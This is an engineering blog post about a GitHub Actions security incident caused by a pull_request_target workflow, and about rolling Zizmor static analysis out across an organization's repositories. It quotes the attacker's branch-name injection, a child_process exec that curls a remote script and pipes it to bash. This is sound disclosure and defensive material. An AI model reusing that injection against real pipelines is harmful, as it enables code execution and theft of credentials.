How to detect vulnerable GitHub Actions at scale with Zizmor

As we previously reported on April 26, 2025, we had a security incident via an insecure GitHub Action and we have since published a post-incident review. We have confirmed that there has been no code modification, unauthorized access to production systems, exposure of customer data, or access to personal information. 

In light of the incident and as part of our ongoing efforts to harden our infrastructure and pipelines, we have introduced Zizmor in our CI/CD pipelines for all repositories to detect and prevent potentially vulnerable GitHub Actions. 

Zizmor is an open source static analysis tool developed by William Woodruff, and Grafana Labs is partnering with Woodruff as a sponsor of the Zizmor project. Before we dive into the details of how we’ve deployed Zizmor, let’s first talk about the vulnerability that the attacker used against us.

About the GitHub Actions vulnerability

At Grafana Labs, we use GitHub Actions as our primary continuous integration system and we enable our teams to build and test the code they develop. GitHub Actions enables teams to define their own repeatable build and test processes that run alongside the code they write, which can then be triggered by a host of events from inside GitHub.

A vulnerable GitHub Action, utilizing pull-request-target instead of the safer pull-request, led to a security incident in April. This allowed an unauthorized user to execute code from a malicious branch within a trusted environment. By naming their branch to trigger a command (essentially using ('child_process').exec('curl$(IFS)-pathtofile$(IFS)bash') the attacker was able to run a remote script. This script then exposed environment variables, including credentials, within the trusted environment.

We are proud that our proactive security measures were activated as planned. Our canary tokens alerted us when their use had been attempted. Because Grafana Labs has a globally distributed workforce, we had engineers who jumped on our alerts almost immediately, and we were able to coordinate work across teams and time zones to shut down credentials, access, actions, and automations quickly and decisively.

Our investigation into the incident wrapped up May 12, 2025, and we confirmed that there has been no code modification, unauthorized access to production systems, exposure of customer data, or access to personal information.

Introducing Zizmor

Now that we have a shared understanding of the problem, let’s dive into how we will prevent such problems from arising in the future. In other areas of code, we often employ static analysis to detect common vulnerabilities or weaknesses ( CWEs). There are a couple of tools that are available for statically analyzing GitHub Actions. GitHub’s own CodeQL has the ability to detect a wide variety of attacks. There’s also Step Security’s hardened runner, which enables teams to do a deeper inspection of what actions are doing when they run. However, the tool that we settled on using across our estate is the open source project Zizmor.

To mitigate the GitHub Actions incident, a large effort was undertaken by not only the security team at Grafana Labs, but also the entire engineering department to run Zizmor against all of our GitHub Actions in repositories. Zizmor picks up not just uses of `pull_request_target` but also a whole host of audit rules, such as forbidden-uses and unpinned-uses.

After the tj-actions incident with reviewdog, in which a third-party supply chain attack was introduced targeting specific repositories,  Grafana Labs’ security team made a decision to restrict the usage of reviewdog actions. Using Zizmor with the forbidden uses allows us to additionally put in technical blocks to prevent the usage of this set of actions within our repositories. In order to prevent future attacks where a tag has been overwritten with a new commit, Zizmor also audits the use of unpinned versions of actions, instead preferring an explicit commit with a YAML comment to the tag that it relates to.

Zizmor + Grafana Labs

We’ve now understood the problem, the tooling that we can use to prevent the issue going forward, so how do we use this at Grafana Labs? We started by writing a reusable workflow in a public repository that we use across Grafana Labs, but that can also be used across all organizations that utilize GitHub Actions.

The reusable workflow does a couple of things. First, it tries to establish the Zizmor configuration that we publicly define in that repository. This is the default that we use, but it is not used if the repository defines its own configuration, unless of course you set the always-use-default-config parameter. It then runs Zizmor, twice — once to produce a SARIF report and the other in a human readable comment form. We then try to upload the SARIF version to GitHub code scanning. (Note: This is free if your repository is public.) Finally the workflow decides its exit status based on the result of the Zizmor run, and this informs the GitHub Action check status.

This is great, but we want to run this for more than 2,000 repositories and we don’t want to have to update every repository to point at this repository. Enter GitHub Organization rulesets. These are like the rulesets that you can apply to a single repository, but instead you can apply them against all repositories in your organization.

The great thing about this is that we only need to define the workflow once. We opted to do this in a repository that’s controlled by the security team at Grafana Labs, but we took a lot of inspiration from the shared-workflows repository. Here we can define the parameters to which we want this workflow to run, pin the version, and define other behaviors that we expect to hold true from the workflow runs. In this example, we check whether there are any workflows to run against before we run Zizmor. (There’s no point running it against zero targets!)

Now that we have an action, we can use rulesets to roll this out to all of the repositories in our organization. We use the “Require workflows to pass before merging” check to define that from the security controlled repository.

Once we enable the check (in evaluation mode initially) we start to see workflow runs being expected on existing and new PRs. It’s worth noting that GitHub’s system requires existing PRs to either be closed and re-opened or to have an empty commit pushed to the branch.

Challenges with Zizmor

No implementation is without challenges, and we’ve certainly had a couple of them while implementing Zizmor across our software estate. Two notable challenges are detailed here.

1. Rate limiting

Firstly, GitHub’s rate limiting of repository and application tokens causes some headaches when running the online checks that Zizmor can do. This is down to the fact that Zizmor uses the GitHub API to fetch the tags and branches for a given action. When this is done at scale, and on large projects, you quickly hit GitHub’s 15,000 calls per hour. It looks like the maintainer has already started thinking about this use case in this issue.

2. Centralized ruleset configuration

We’ve also run into another GitHub issue — running Zizmor as a centralized ruleset in GitHub requires us to define the Zizmor configuration ahead of time. We want to define this as a git blob right next to the workflow; however, we need to be able to use the GitHub id-token: write permission. In our first-party repositories, this is fine. However, GitHub rightly restricts this from being run in a fork, which makes grabbing the default configuration hard to get. One of the work arounds that we used for this is to define a .github/zizmor.yml file in the repositories that we get a lot of traction from. If there is no file present, we also fall back to the built-in Zizmor configuration.

Summary

In summary, we love Zizmor at Grafana Labs. It will help us prevent attacks in the future with a relatively lightweight binary running. We’ve opted to run in an offline mode for PRs due to online mode consuming our rate limit. This means that we don’t benefit from all the checks that Zizmor offers, such as imposter-commits and ref-confusion, but this does mean we can run it fast and that we don’t hit the GitHub API rate limit quickly.

We did, however, opt to run the additional checks on a scheduled job against some of our most popular repositories (currently the LGTM stack repos). And the next time a GitHub Actions vulnerability appears in the wild, we’ll be more prepared with Zizmor checking our workflow hygiene.